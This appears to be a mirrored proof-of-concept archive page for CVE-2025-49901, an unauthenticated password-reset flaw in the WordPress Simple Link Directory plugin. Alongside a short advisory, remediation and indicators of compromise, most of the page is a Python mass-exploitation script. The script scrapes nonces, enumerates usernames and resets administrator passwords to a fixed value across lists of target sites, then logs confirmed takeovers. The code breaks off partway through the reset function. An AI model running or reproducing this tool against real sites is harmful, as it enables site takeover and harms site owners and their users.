PoC Archive PoC Archive
Critical CVE-2025-49901 patched

WordPress Simple Link Directory Unauthenticated Password Reset to Admin Takeover (CVE-2025-49901)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-49901
Category
web
Affected product
WordPress "Simple Link Directory" plugin (qc-simple-link-directory by quantumcloud)
Affected versions
< 14.8.1 (fixed in 14.8.1)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-49901
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, wordpress-plugin, simple-link-directory, qc-opd, authentication-bypass, password-reset, broken-authentication, cwe-288, username-enumeration, python
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “Simple Link Directory” plugin (qc-simple-link-directory by quantumcloud)
Versions Affected< 14.8.1 (fixed in 14.8.1)
Language / PlatformPython 3 PoC targeting PHP/WordPress sites
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the target WordPress site)

Summary

The Simple Link Directory plugin’s qc-opd (password reset) AJAX/form handler accepts a username and a new password and applies it to the corresponding WordPress account without verifying the requester’s identity via any token tied to the user, email confirmation, or capability check — only a generic page nonce is required, which the plugin itself hands out to any anonymous visitor. As a result, any unauthenticated attacker who can load a page containing the SLD reset form can harvest that nonce, enumerate valid WordPress usernames, and reset any account’s password (including the administrator’s) to an attacker-chosen value, then log in directly. The included PoC automates the entire chain — nonce discovery, username enumeration, mass password reset, and dual-mode (session/password) verification of the resulting admin access — across lists of target sites.


Vulnerability Details

Root Cause

The plugin exposes a qc-opd “restore password” action that is reachable pre-authentication on any front-end page embedding the SLD shortcode/widget. The handler only checks a generic _wpnonce value scraped from the page (not bound to the target user or an out-of-band confirmation such as an emailed reset link) before accepting attacker-supplied qc-uid (username) and pass (new password) parameters and committing the change — this is a textbook CWE-288 (Authentication Bypass Using an Alternate Path or Channel), since the plugin re-implements password reset outside WordPress’s core token/email-verification flow. The PoC’s core request illustrates the trivial requirements:

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data = {
    "qc-restore-pwd": "restore",
    "qc-restore-pwd-type": "user",
    "qc-uid": username,
    "pass": FIXED_PASSWORD,
    "_wpnonce": nonce,
}
r = sess.post(page_url, data=data, headers=headers, timeout=timeout, allow_redirects=True)

Attack Vector

  1. Probe the target WordPress site across a list of common page slugs (restore, reset-password, forgot-password, login, my-account, etc., plus internal links from the homepage) to locate a page that renders the SLD reset form (detected by presence of sld + _wpnonce markers).
  2. Extract the generic _wpnonce value from the page’s HTML/inline JS (multiple regex strategies handle different theme/markup variants).
  3. Enumerate candidate usernames via /?author=1..10 redirects, the /wp-json/wp/v2/users REST endpoint, the site’s hostname label, and a hardcoded admin fallback.
  4. For each candidate username, POST qc-restore-pwd=restore&qc-uid=<username>&pass=<fixed password>&_wpnonce=<nonce> to the reset endpoint — no proof of account ownership is required.
  5. Verify resulting access two ways: (a) check whether the reset request itself yielded a wordpress_logged_in cookie plus admin-page markers (“session mode”), and (b) independently attempt a full wp-login.php authentication with the injected password and confirm admin-panel access (“password mode”).
  6. Record confirmed hits (site, username, password, verification mode) to an output file.

Impact

Any unauthenticated attacker can take over arbitrary WordPress accounts on a site running the vulnerable plugin, including the administrator account, leading to full site compromise — plugin/theme editor RCE, content tampering, malware injection, or pivoting to the underlying host.


Environment / Lab Setup

Target:   WordPress site with "Simple Link Directory" plugin < 14.8.1 installed and active
Attacker: Python 3.8+, pip packages: requests, colorama, urllib3
          A list.txt file of target URLs (one per line)

Proof of Concept

PoC Script

See CVE-2025-49901.py in this folder.

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git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3

python3 CVE-2025-49901.py

Fixed password injected for all reset attempts: newhackerpass123. Confirmed hits are written as [timestamp] https://TARGET - account=<user> pass=newhackerpass123 mode=<session|password>.


Detection & Indicators of Compromise

Signs of compromise:

  • Administrator or other user accounts with passwords changed without a corresponding user-initiated “forgot password” email
  • New logins to wp-admin from unfamiliar IPs immediately following unexplained password-reset activity
  • Plugin/theme file modifications or new admin users created shortly after such logins

Remediation

ActionDetail
Primary fixUpgrade the Simple Link Directory plugin to version 14.8.1 or later, which fixes the unauthenticated password reset flow
Interim mitigationDisable/deactivate the Simple Link Directory plugin until patched; restrict or firewall access to the qc-opd reset endpoint; monitor and alert on password-reset requests lacking a corresponding email-based reset flow; enforce WAF rules blocking POSTs with qc-restore-pwd=restore from unauthenticated sessions

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-49901 on 2026-07-06. The upstream repo uses heavy Nxploited-brand ASCII banners/badges typical of this author’s PoC releases; the underlying exploit logic (nonce harvesting, username enumeration, mass reset, dual-mode admin-access verification) is functional and was preserved verbatim in CVE-2025-49901.py.

CVE-2025-49901.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# By: Nxploited
# GitHub: https://github.com/Nxploited
# Telegram: @KNxploited

import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urljoin

import requests
import urllib3

try:
    from colorama import Fore, Style, init as colorama_init  # type: ignore
    colorama_init(autoreset=True)
except Exception:
    class _C:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
    Fore = _C()
    Style = _C()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

RESET_PAGES = [
    "restore",
    "reset-password",
    "forgot-password",
    "password-reset",
    "recover-password",
    "restore-password",
    "lost-password",
    "account-recovery",
    "recover-account",
    "set-new-password",
    "change-password",
]

EXTRA_PAGES = [
    "",
    "login",
    "signin",
    "my-account",
    "account",
    "profile",
    "member",
    "members",
]

FIXED_PASSWORD = "newhackerpass123"
RESULT_FILE = "scan_results/reset_mass_success.txt"

BANNER_CORE = [
    "  _      _   _   _  _   _          _   _   _     ",
    " / \\  / |_ __ ) / \\  ) |_ __ |_|_ (_| (_| / \\ /| ",
    " \\_ \\/  |_   /_ \\_/ /_  _)     |    |   | \\_/  | ",
    "                                                 ",
]

AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited"
TITLE_LINE = "WordPress qc-opd Reset Flow Scanner"


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    # حافة كاملة للمربع بالكامل
    width = 67  # عرض داخلي مريح لكل الخطوط
    top_border =    "╔" + "═" * width + "╗"
    mid_border =    "╟" + "─" * width + "╢"
    bottom_border = "╚" + "═" * width + "╝"

    print(Fore.GREEN + top_border + Style.RESET_ALL)

    # سطر العنوان الأكبر
    title = TITLE_LINE.center(width)
    print(
        Fore.GREEN + "║" + Style.RESET_ALL +
        Fore.MAGENTA + title + Style.RESET_ALL +
        Fore.GREEN + "║" + Style.RESET_ALL
    )

    # فاصل هادئ
    print(Fore.GREEN + mid_border + Style.RESET_ALL)

    # شعار ASCII
    for line in BANNER_CORE:
        padded = line.center(width)
        print(
            Fore.GREEN + "║" + Style.RESET_ALL +
            Fore.CYAN + padded + Style.RESET_ALL +
            Fore.GREEN + "║" + Style.RESET_ALL
        )

    # فاصل آخر
    print(Fore.GREEN + mid_border + Style.RESET_ALL)

    # سطر الكاتب والحسابات
    author = AUTHOR_LINE.center(width)
    print(
        Fore.GREEN + "║" + Style.RESET_ALL +
        Fore.YELLOW + author + Style.RESET_ALL +
        Fore.GREEN + "║" + Style.RESET_ALL
    )

    print(Fore.GREEN + bottom_border + Style.RESET_ALL)
    print()


def now_hms() -> str:
    return time.strftime("%H:%M:%S")


def format_site_status(
    base: str,
    nonce_status: str,
    reset_status: str,
    access_status: str,
    color: str,
) -> None:
    line = (
        f"[{now_hms()}] "
        f"[{base}] "
        f"NONCE: {nonce_status:<4} | "
        f"RESET: {reset_status:<4} | "
        f"ACCESS: {access_status}"
    )
    print(color + line + Style.RESET_ALL)


def log_note(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}")


def log_warn(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")


def log_err(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}")


def log_done(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")


def split_wp_base(url: str) -> Tuple[str, str]:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    base_host = f"{parsed.scheme}://{parsed.netloc}"
    path = parsed.path or "/"
    if path == "/":
        return base_host, ""
    return base_host, path.rstrip("/")


def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
    if not path.startswith("/"):
        path = "/" + path
    full = (wp_base + path).replace("//", "/")
    return base_host + full


def build_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/121.0.0.0 Safari/537.36"
        ),
        "Accept": (
            "text/html,application/xhtml+xml,application/xml;q=0.9,"
            "image/avif,image/webp,image/apng,*/*;q=0.8"
        ),
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache",
    })
    adapter = requests.adapters.HTTPAdapter(
        pool_connections=50,
        pool_maxsize=50,
        max_retries=1
    )
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s


def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]:
    if not body:
        return None

    m = re.search(
        r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL)
    for snip in snippet_regex.findall(body):
        m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip)
        if m2:
            return m2.group(1)

    return None


def extract_wpnonce(body: str) -> Optional[str]:
    if not body:
        return None

    m = re.search(
        r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    js_nonce = extract_qc_opd_nonce_from_js(body)
    if js_nonce:
        return js_nonce

    return None


def page_contains_sld_and_form(body: str) -> bool:
    if not body:
        return False

    low = body.lower()

    if "sld" not in low:
        return False

    if "_wpnonce" not in low:
        return False

    if 'name="action"' in low and 'value="restore"' in low:
        return True

    if "<form" in low and 'name="_wpnonce"' in low:
        return True

    return False


def extract_internal_links(body: str, base_url: str, max_links: int = 20) -> List[str]:
    links: List[str] = []
    if not body:
        return links
    try:
        host = base_url.split("://", 1)[1].split("/", 1)[0]
    except Exception:
        host = ""
    for m in re.finditer(r'href=["\']([^"\']+)["\']', body, flags=re.IGNORECASE):
        href = m.group(1)
        if href.startswith("#"):
            continue
        full = urljoin(base_url, href)
        parsed = urlparse(full)
        if parsed.scheme not in ("http", "https"):
            continue
        if host and host not in (parsed.netloc or ""):
            continue
        if full not in links:
            links.append(full)
        if len(links) >= max_links:
            break
    return links


def find_reset_page_and_nonce_expanded(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> Tuple[Optional[str], Optional[str]]:
    tried: Set[str] = set()

    def try_url(url: str) -> Tuple[Optional[str], Optional[str]]:
        if url in tried:
            return None, None
        tried.add(url)
        try:
            r = sess.get(url, timeout=timeout, allow_redirects=True)
        except Exception:
            return None, None
        if r.status_code != 200:
            return None, None
        body = r.text or ""
        if not page_contains_sld_and_form(body):
            return None, None
        nonce = extract_wpnonce(body)
        if nonce:
            return r.url, nonce
        return None, None

    for slug in RESET_PAGES:
        slug = slug.strip("/")
        for variant in (f"/{slug}/", f"/{slug}"):
            url = build_wp_url(base_host, wp_base, variant)
            page_url, nonce = try_url(url)
            if page_url and nonce:
                return page_url, nonce

    for slug in EXTRA_PAGES:
        slug = slug.strip("/")
        path = "/" if slug == "" else f"/{slug}/"
        url = build_wp_url(base_host, wp_base, path)
        page_url, nonce = try_url(url)
        if page_url and nonce:
            return page_url, nonce

    home = build_wp_url(base_host, wp_base, "/")
    try:
        rh = sess.get(home, timeout=timeout, allow_redirects=True)
    except Exception:
        return None, None
    if rh.status_code == 200 and rh.text:
        base_for_links = rh.url
        links = extract_internal_links(rh.text, base_for_links, max_links=25)
        for link in links:
            page_url, nonce = try_url(link)
            if page_url and nonce:
                return page_url, nonce

    return None, None


AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
    re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
    re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
    re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
    re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]


def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
    users: Set[str] = set()
    for i in range(1, max_i + 1):
        try:
            u = f"{root_url}/?author={i}"
            r = sess.get(u, timeout=timeout, allow_redirects=False)
            if r.status_code in (301, 302):
                loc = r.headers.get("location", "") or r.headers.get("Location", "")
                m = AUTHOR_PATTERN.search(loc)
                if m:
                    users.add(m.group(1))
            r2 = sess.get(u, timeout=timeout, allow_redirects=True)
            if r2.status_code == 200 and r2.text:
                body = r2.text
                for patt in AUTHOR_BODY_PATTERNS:
                    for x in patt.findall(body):
                        users.add(x)
        except Exception:
            continue
    return users


def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
    users: Set[str] = set()
    api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
    try:
        r = sess.get(api, timeout=timeout)
    except Exception:
        return users
    if r.status_code != 200:
        return users
    try:
        data = r.json()
    except Exception:
        return users
    if isinstance(data, list):
        for entry in data:
            if isinstance(entry, dict):
                for key in ("slug", "username", "name"):
                    v = entry.get(key)
                    if v:
                        users.add(str(v))
    return users


def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
    sess = build_session(timeout)
    root = build_wp_url(base_host, wp_base, "/")

    users: Set[str] = set()
    users.update(enum_by_author(sess, root, timeout, max_i=10))
    users.update(enum_by_rest(sess, root, timeout))

    parsed = urlparse(root)
    host = (parsed.netloc or "").split(":")[0].lower()
    if host.startswith("www."):
        host = host[4:]
    first_label = host.split(".")[0]
    if first_label and len(first_label) > 2:
        users.add(first_label)

    users.add("admin")
    users = {u for u in users if u and 2 < len(u) < 50}

    if not users:
        users = {"admin"}

    return sorted(users)


def send_reset_for_user(
    sess: requests.Session,
    page_url: str,
    username: str,
    nonce: str,
    timeout: int,
) -> bool:
    data = {
        "qc-restore-pwd": "restore",
        "qc-restore-pwd-type": "user",
        "qc-uid": username,
        "pass": FIXED_PASSWORD,
        "_wpnonce": nonce,
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